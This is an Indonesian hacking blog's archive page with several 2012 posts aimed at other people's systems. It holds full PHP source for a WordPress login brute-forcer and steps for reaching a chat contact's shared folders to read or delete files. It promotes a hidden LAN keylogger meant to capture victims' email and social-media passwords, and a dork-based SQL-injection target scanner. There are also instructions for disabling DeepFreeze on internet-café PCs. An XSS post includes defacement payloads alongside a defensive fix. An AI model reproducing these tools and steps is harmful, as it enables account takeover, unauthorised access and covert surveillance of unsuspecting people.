Hacking

Showing posts with label Hacking. Show all posts

Wednesday, August 29, 2012

SQLI Hunter V 1.1 | Find SQL Injection Vulnerability

SQLI Hunter V 1.1

Berbicara mengenai hacking dan defacing, banyak sekali cara-cara yang dapat di gunakan. Entah itu dengan cara manual ataupun dengan tool bantuan. Nah, kali ini kita akan sedikit membahas salah satu tool yang lumayan membantu mencari SQL Injection vulnerability dari website-website yang mempunyai celah keamanan pada systemnya. Jika Anda tahu SQLi Scanner, nah tool ini based nya tidak jauh berbeda dengan SQLi scanner tersebut, namanya SQLI Hunter V 1.1 .
Sedikit diperjelas, SQLi Hunter merupakan shoftware compiler VB.NET 2.0 yang digunakan untuk mencari celah keamanan sebuah website dengan metode SQL Injection. Shoftware ini akan menscan secara otomatis dengan meginputkan dork nya terlebih dahulu. Perlu di garis bawahi, tool ini hanya mencari targetnya saja, untuk selanjutnya terserah Anda.

Lihat Screenshotnya berikut :

Saya yakin Anda sudah tahu bagaimana cara menggunakannya, jadi tidak perlu saya terangkan lagi ya (capek ngetiknya..hehe).

Berikut detail shoftware dan Authornya :
+-+-+-+-+ +-+-+-+-+-+-+ +-+-+-+
|S|Q|L|I| |H|U|N|T|E|R| |1|.|1|
+-+-+-+-+ +-+-+-+-+-+-+ +-+-+-+
####################################################
# Description : An automation tool to scan for an
# sql injection vulnerability.
# Date : Aug 2012
# Compiler : VB.NET 2.0
# Author : Muthukumar aka MAK
# System : Vista,Win 7
# Update : for updates subscribe :-
# http://hackwithmak.blogspot.com
# http://facebook.com/hackwithmak
####################################################

DOWNLOAD SQLI Hunter V 1.1

NB : All content contained on this web is provided for educational use !! You must accept that you are going to use this information for educational purposes only. IF NOT PLEASE EXIT IMMEDIATELY.

Baca Selengkapnya

Monday, August 27, 2012

Wordpress Brute Force

Serangan brutal (Brute-force attack) adalah sebuah teknik serangan terhadap sebuah sistem keamanan komputer yang menggunakan percobaan terhadap semua kunci yang mungkin. Pendekatan ini pada awalnya merujuk pada sebuah program komputer yang mengandalkan kekuatan pemrosesan komputer dibandingkan kecerdasan manusia.

Sebagai contoh, untuk menyelesaikan sebuah persamaan kuadrat seperti x²+7x-44=0, di mana x adalah sebuah integer, dengan menggunakan teknik serangan brute-force, penggunanya hanya dituntut untuk membuat program yang mencoba semua nilai integer yang mungkin untuk persamaan tersebut hingga nilai x sebagai jawabannya muncul. Istilah brute force sendiri dipopulerkan oleh Kenneth Thompson, dengan mottonya: "When in doubt, use brute-force" (jika ragu, gunakan brute-force). Teknik yang paling banyak digunakan untuk memecahkan password, kunci, kode atau kombinasi. Cara kerja metode ini sangat sederhana yaitu mencoba semua kombinasi yang mungkin.

Sebuah password dapat dibongkar dengan menggunakan program yang disebut sebagai password cracker. Program password cracker adalah program yang mencoba membuka sebuah password yang telah terenkripsi dengan menggunakan sebuah algoritma tertentu dengan cara mencoba semua kemungkinan. Teknik ini sangatlah sederhana, tapi efektivitasnya luar biasa, dan tidak ada satu pun sistem yang aman dari serangan ini, meski teknik ini memakan waktu yang sangat lama, khususnya untuk password yang rumit. reference from wikipedia.

Nah, sudah tahu kan apa itu brute force. pada kesempatan kali ini kita akan membuat tool brute force untuk wordpress menggunakan PHP. Let's start bro, Buka code ediotr Anda. Bisa pakai notepad. Copy paste code berikut :

<html>
<head>
<title>Wordpress Brute</title>
<style>
body{
background:#000000;
font-family:Tahoma,Verdana,Arial;
color:#fff;
font-size:12px;
}
.footer{
text-align:right;
padding:0 16px;
font-size:10px;
letter-spacing:2px;
color:#999999;
}
.footer:hover{
text-align:right;
padding:0 16px;
font-size:10px;
letter-spacing:2px;
color:#999999;
text-decoration:underline;
}
.input{
width:200px;
}
textarea.input{
height:100px;
}
</style>
</head>
<body>
<?php
$brute = $_GET['brute'];
if($_POST){
$file = "devilzc0de.txt";
$pwd = $_POST['passwd'];
$handle = fopen($file, 'w');
fwrite($handle, "$pwd");
fclose($handle);
set_time_limit(0);
$username = $_POST['username_target'];
$dictionary ="devilzc0de.txt";
$homepage = file_get_contents($_POST["situs_target"].'/wp-login.php');
$string_awal = '<input type="submit" name="wp-submit" id="wp-submit" class="button-primary" value="';
$string_akhir = '" tabindex="100" />';
$homepage = explode($string_awal, $homepage);
$homepage = explode($string_akhir, $homepage[1]);
##########################################
function kontrol($utarget,$ptarget){
$useragent = "Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54";
$data = "log=$utarget&pwd=$ptarget&wp-submit=".$homepage[0]; ;
$ch = curl_init($_POST["situs_target"].'/wp-login.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("WordPress</title>",$source)){return true;} else {return false;}
}
if(!is_file($dictionary)){echo "Kamus Password Tidak Di Temukan";exit;}
$lines=file($dictionary);
echo "Attack Starting..<br>";
sleep(10);
echo "Attack Started, brute forcing..<br>";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "<font color=\"green\"><b>[+]</b> username : <b>$username</b> , password : <b>$line</b><br>";}
else{echo "<font color=\"red\"><b>[-]</b> username : $username , password : $line<br>";
}
}
}else{
?>
<form action="" method="post">
<p>
<label>Username<br>
<input type="text" name="username_target" class="input"></label>
</p>
<p>
<label>List Password<br>
<textarea name="passwd" class="input"></textarea></label>
</p>
<p>
<label>Situs Target<br>
<input type="text" name="situs_target"class="input"> Ex : http://localhost/wordpress/</label>
</p>
<input type="submit" value="Brute">
</form>
<?
}
?>
</body>
</html>

Kalau sudah, upload di hosting Anda, saya sarankan memakai hosting pro. Karena kebanyakan hosting free belum support untuk script ini.Lalu bagaimana cara menggunakannya?
Sanagat sederhana, yang siapkan daftar username dan password yang menurut Anda mungkin, boleh banyak, asal jangan terlalu banyak (karena biasanya yang berlebihan itu tidak baik) hehe.

Oke, selamat mencoba.

Semoga bermanfaat!

Baca Selengkapnya

Friday, August 10, 2012

Cara Melihat Bahkan Memodifikasi Data Di komputer Orang Lain Melalui Yahoo Messanger

Cara Melihat Bahkan Memodifikasi Data Di komputer Orang Lain Melalui YM (Yahoo Messanger)

Bagi sebagian orang berbuat usil adalah hal yang menyenangkan, tapi disini saya bukan ingin mengajak Anda untuk berbuat usil lho, saya hanya ingin berbagi sedikit pengetahuan seputar YM dan tips Melihat Bahkan Memodifikasi Data Di komputer Orang Lain Melalui YM (Yahoo Messanger). trik ini juga telah saya posting di rumahasa.com, silahkan kalau mau liat-liat!

Apakah bisa kita Melihat Bahkan Memodifikasi Data Di komputer Orang Lain Melalui YM?

Tentu saja bisa, syaratnya kita harus mengetahui IP Address komputer target dulu. Lalu, bagaimana caranya kita dapat mengetahui IP Address komputer target? Ikuti langkah-langkah berikut ini :

- Login ke YM Anda seperti biasa.
- Ajak target untuk chatting via YM.
- Paksa target untuk menerima file dari Anda, boleh foto atau yang lainnya.

Disini prosesyang menetukan kita berhasil atau tidak, kalau target terpancing dan menerima file yang telah kita kirim itu artinya kita dapat mengetahui IP Address komputer target. Bagaimana cara melihat IP Target korban? Berikut langkah-lagkahnya :

- Buka Command Promt (Start > RUN atau Tekan tombol W+R dan ketikkan cmd dan enter)
- Didalam jendela Command Promt, ketikan 'Netstat -an'
- Akan muncul banyak keterangan, cari dan temukan teks 5050<, Akan ada beberapa digit angka sebelum teks 5050<. Itulah IP Addres komputer target saat ini yang sedang menerima file yang Anda kirim tadi.

Dalam tahap ini, Anda sudah mendapatkan IP Address target. Langkah berikutnya adalah eksekusi. Untuk eksekusi dibutuhkan keberuntungan untuk dapat melihat bahkan memodifikasi data yang disimpan pada komputer target.

Masih di jendela Command Promt.
Ketikan ''net use: h \\ (Ip target)\shareddocs'' <

Kalau Anda beruntung akan muncul keterangan share docs succes. Nah disini kita sudah sepenuhnya terhubung dengan komputer target. Buka windows Explorer Anda, akan muncul drive baru yang sebelumnya belum Anda lihat, itulah drive pada komputer target. Sekarang terserah Anda, Anda bebas melihat-lihat, mengedit, bahkan menghapus data pada komputer target yang telah terhubung dengan komputer Anda.

Kalau keterangan Error,itu artinya target memasang High Security di komputernya dan Anda kurang beruntung. Silahkan pikirkan cara lain.

Semoga Bermanfaat. Keep sharing and learning!

Baca Selengkapnya

Thursday, March 22, 2012

Cross-Site Scripting (XSS) Methode

Cross-Site Scripting atau yang lebih dikenal dengan sebutan XSS merupakan salah satu metode yang di gunakan para attacker untuk menyuntikan kode HTM atau Javascript kedalam sebuah halaman web yang vulnirable terhadap XSS. XSS di bagi menjadi dua, Non Persistent dan Persistent. Xss Non Persistent merupakan tipe XSS yang paling umum dan yang paling mudah dilakukan. Attacker menggunakan social engineering agar tautan dengan kode berbahaya ini diklik oleh pengguna. sedangkan XSS Persistent ini merupakan tipe XSS yang lebih berbahaya, yang dapat berakibat pada seluruh pengguna. XSS ini terjadi saat pengguna diizinkan untuk memasukkan data yang akan ditampilkan kembali. Contohnya adalah pada komentar, buku tamu, dll. Attacker memasukkan kode HTML atau Javascript atau code lainnya pada posting mereka. Dengan cara ini attacker bisa mendapatkan cookie pengguna yang bisa digunakan selanjutnya untuk membajak session pengguna. Lalu bagaimana ini bisa terjadi? dan bagaimana para attacker bisa merubah tampilan utama sebuah website dengan XSS? mari kita bahas bersama-sama..hehe!

Cari target yang Vuln terhadap XSS,
Dork: "inurl:search.php?q=" atau bisa cari sendiri, kalau dork ini untuk mencari XSS vuln melalui search Form.

Kita coba dengan sebuah kolom komentar.
Pertama, coba isikan sesuatu secara normal (misalnya nama = blog thinker, komentar = Asslamualaikum). Apa yang terjadi? Tentu saja tidak ada masalah. Nama dan komentar akan muncul sesuai dengan apa yang diinputkan.

Sekarang, coba isikan komentar yang ‘sedikit aneh’. Masukkan komentar yang berisi tag HTML, misalnya sebagai berikut:

Asslamualaikum... ini contoh teks <b>tebal</b> dan <i>miring</i>...

Apa yang terjadi? Komentar Sobat muncul seperti ini:

Asslamualaikum… ini contoh teks tebal dan miring...

Nah, kode HTML yang kita sisipkan diproses oleh browser. Coba buka halaman tersebut dari komputer lain. Maka Sobat akan memperoleh hasil yang sama. Ini berarti kita berhasil meng-inject-kan kode kita. Hal seperti ini yang disebut celah keamanan Cross-Site Scripting. Ini harusnya tidak boleh terjadi. Bayangkan jika si attacker menyisipkan kode berikut:

Asslamualaikum...
<script type="text/javascript">
window.onload = function() {
document.getElementsByTagName("body")[0].innerHTML = '<h1>This web is hacked!</h1>';
}
</script>

Atau komentar berikut yang sangat mengganggu pengguna lain (pengguna lain akan mendapatkan alert/popup yang tidak pernah berakhir):

Atau alert seperti ini:

Web ini bagus.
<script type="text/javascript">
if (confirm('Tapi sayang ada celah keamanannya! Klik OK untuk mempelajari celah keamanan tsb!')) {
document.location.href = 'http://blog-thinker.blogspot.com/2012/03/cross-site-scripting-xss-methode.html';
}
</script>

Yang mengarahkan pengguna ke halaman lain.

Cara mengatasinya cukup sederhana. Jika menggunakan PHP, tambahkan htmlentities() sebelum menampilkan hasil inputan dari pengguna. Misalnya kode berikut:

echo 'Nama : ' . $nama;

Diubah menjadi:

echo 'Nama : ' . htmlentities($nama);

Pastikan Sobat menggunakan fungsi tersebut di setiap bagian yang bertugas menampilkan hasil inputan dari pengguna.

Buat yang ingin tahu secara detail tentang XSS, simak pembahasan berikut.

Andaikan Anda membuat halaman HTML (index.html) berikut:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Demo Cross-Site Scripting</title>
</head>
<body>
<form action="hasil.php" method="post">
<p><label for="nama">Nama:</label><br />
<input type="text" name="nama" id="nama" /></p>
<p><label for="komentar">Komentar:</label><br />
<textarea name="komentar" id="komentar" cols="40" rows="5"></textarea></p>
<p><input type="submit" value="Kirim" /></p>
</form>
</body>
</html>

Kemudian halaman PHP berikut (hasil.php) yang bertugas memproses hasil input dari halaman index.html:

<?php
$nama = (isset($_POST['nama']) ? $_POST['nama'] : '');
$komentar = (isset($_POST['komentar']) ? $_POST['komentar'] : '');

echo '<p>Nama:<br />' . $nama . '</p>';
echo '<p>Komentar:<br />' . $komentar . '</p>';

Saat Anda menjalankan index.html, akan muncul sebuah form dengan dua field. Jika Anda mengisi nama dengan test dan komentar dengan Asslamualaikum, maka ketika di-submit (dengan menekan tombol Kirim), hasil.php akan memprosesnya sebagai berikut:

$nama = (isset($_POST['nama']) ? $_POST['nama'] : '');
// maka $nama berisi: test

$komentar = (isset($_POST['komentar']) ? $_POST['komentar'] : '');
// dan $komentar berisi: Asslamualaikum

echo '<p>Nama:<br />' . $nama . '</p>';
// sesuai dengan nilai di variabel $nama di atas,
// maka akan di-echo: <p>Nama:<br />test</p>

echo '<p>Komentar:<br />' . $komentar . '</p>';
// sesuai dengan nilai di variabel $komentar di atas,
// maka akan di-echo: <p>Komentar:<br />Asslamualaikum</p>

Di sini tidak ada masalah. Jika di jalankan, maka hasil sesuai dengan yang diharapkan.

Masalah muncul ketika misalnya komentar yang dimasukkan adalah ini adalah contoh teks tebal. Halaman hasil.php akan memprosesnya sebagai berikut:

$komentar = (isset($_POST['komentar']) ? $_POST['komentar'] : '');
// $komentar berisi: ini adalah contoh teks <b>tebal</b>

echo '<p>Komentar:<br />' . $komentar . '</p>';
// sesuai dengan nilai di variabel $komentar di atas,
// maka akan di-echo: <p>Komentar:<br />ini adalah contoh teks <b>tebal</b></p>

Browser tidak pernah tau bahwa ini adalah contoh teks <b>tebal</b> datangnya dari web developer yang membuat halaman atau dari isian pengguna yang iseng. Hasilnya, browser akan memproses kode HTML yang ada di dalamnya, sehingga akan menampilkan tulisan “tebal” dalam keadaan bercetak tebal, hasil dari tag HTML <b> dan </b> tersebut.

Hal yang sama terjadi untuk JavaScript. Pengguna yang iseng bisa menyisipkan kode JavaScript yang diapit oleh tag HTML <script type=”text/javascript”> dan </script>. Hasilnya tentu saja kode JavaScript tersebut akan dijalankan oleh browser.

Nah, XSS ini terjadi saat menampilkan sesuatu ke web browser. Celah keamanan sebaliknya, terjadi saat menyimpan sesuatu dari web browser (hasil input pengguna) ke database biasa dikenal dengan SQL injection. Selain kedua jenis tersebut, masih ada lagi celah keamanan yang lain, misalnya Cross-site Request Forgery (CSRF).

Code Converter :

Baca Selengkapnya

Monday, March 19, 2012

Hacking Tool - Akses Key Logger Via LAN Tanpa Menyentuh Komputer Client.

B-think Shoft KeyLogger atau Smart Keylogger saya namakan shoftware yang berukuran kecil ini. Tool ini sama halnya dengan Keylogger pada umumnya, yaitu merekam aktifitas ketikan keyboard. Tapi tidak seperti kebanyakan keylogger yang hanya dapat di akses melalui komputer yang telah teristall keylogger itu sendiri, Tool ini terdiri dari dua Installer, untuk client dan untuk server. Sehingga Keylogger dapat di akses melalui komputer lain dalam jaringan LAN tanpa sepengetahuan pengguna komputer client.. so, kita tidak akan ketahuan. haha jahat ya..!!!

Jika sobat blogger tertarik, silahkan downoad simple shoftware ini. Tapi inget, harus bijaksana dalam penggunaannya.
Terdapat dua buah folder pada package aplikasi ini. Client Detective dan RemoteKey.

Agar tidak dicurigai sebagai aplikasi pengintai, saya sengaja membuat nama yang unik, yaitu
-AkuCintaKamuClient = Installer Untuk dipassang pada komputer Client
-AkuCintaKamuServer = Installer untuk dipassang di computer server.

Cara installasinya cukup mudah, tinggal install seperti aplikasi biasanya. Untuk installer di komputer client sobat perlu memasukan password nya, bisa di baca di Folder package. dan untuk installer server tidak memerlukan password.

Berikut Screenshotnya :
Interface AkuCintaKamuServer (untuk Server).

Sedangkan AkuCintaKamuClient (untuk client) tidak memiliki intrerface. Ini bertujuan agar client tidak dapat melihat program ini.

Berikut Cara Penggunaannya:

Install AkuCintaKamuServer pada komputer yang ingin di jadikan komputer pengintai. terserah komputer mana saja yang penting tersambung dalam jaringan LAN.
Install AkuCintaKamuClient pada komputer client yang ingin di intai. Cara installasi bisa di baca di File Readme yang sobat downwload.
Kalau sudah tinggal catat IP Addres komputer client, ketikkan di field IP addres Applikasi tsb. test koneksinya..apakah sudah benar-benar konek. Klik tombol "Test".
Klik tombol "Call Me Andry Yunan"
Taraaaaaa.....Anda akan melihat tuh aktifitas ketikan keyboard client, termasuk email dan passwordnya, Bisa digunakan buat ngintip password facebook, yahoo, dan gmail!!!!

PENTING :
Gunakan tool ini secara bijaksana, saya tidak bertanggung jawab atas penyalahgunaan tool ini. tujuan saya hanya berbagi dan untuk edukasi. selebihnya tanggung jawab Anda.

Download Filenya Dibawah ini:

Semoga Bermanfaat!!

Baca Selengkapnya

Tuesday, February 7, 2012

Disable DeepFreeze Tanpa Restart Windows

Lama juga tidak nge-blog. Hemm, oke kali ini kita akan sedikit membahas mengenai DeepFreeze. Apa sih DeepFreeze itu? tentunya Anda sudah tahu bukan apa itu DeepFreeze?!, bagi yang belum tahu silahkan deh tanya Om Google..hehe!

Pada umumnya untuk men-Disable atau Enable fungsi DeepFreeze kita perlu yang namanya restart windows bukan? lalu bagaimana agar kita bisa melakukan hal itu tanpa merestart windows? hemm bagi Anda yang suka iseng di Warnet tentunya ini akan berguna sekali untuk usil-usilan..haha..maaf bukannya mengajak hal keburukan.

Oke langsung saja deh kita pada intinya. Untuk men-Disable fungsi DeepFreeze ikuti langkah-langkah berikut :

1. Klik menu RUN ( Win+R )
2. Ketikkan "msconfig" ( tanpa tanda petik )
3. Pilih tab "Service" kemudian hilangkan tanda centang pada "service DF5Serv"
4. Klik "Apply", kemudian tutup ( tanpa restart )
5. Buka "Task Manager", cari dan matikan proses FrzState2k dan DF5Serv ( Kill Process )
6. Tutup Task Manager. SELESAI..!

Untuk mengEnablekan kembali fungsi DeepFreeze, masuk lagi ke msconfig, centang service DF5Serv, klik apply.

Lalu bagaimana jika menu RUN di disabled oleh admistrator? Tunggu postingan berikutnya. gampang banget kok caranya!!

Semoga Bermanfaat...!!!!

Baca Selengkapnya

.:: AutoLike Facebook by Blog Thinker::.

Komputer

Wednesday, August 29, 2012

SQLI Hunter V 1.1 | Find SQL Injection Vulnerability

Monday, August 27, 2012

Wordpress Brute Force

Friday, August 10, 2012

Cara Melihat Bahkan Memodifikasi Data Di komputer Orang Lain Melalui Yahoo Messanger

Thursday, March 22, 2012

Cross-Site Scripting (XSS) Methode

Monday, March 19, 2012

Hacking Tool - Akses Key Logger Via LAN Tanpa Menyentuh Komputer Client.

Tuesday, February 7, 2012

Disable DeepFreeze Tanpa Restart Windows

Connect with Blog Thinker

Daftar Isi

Entri Populer

Follow Me On Twitter @Andry_yunan

Blog On Blogger

Blog Friend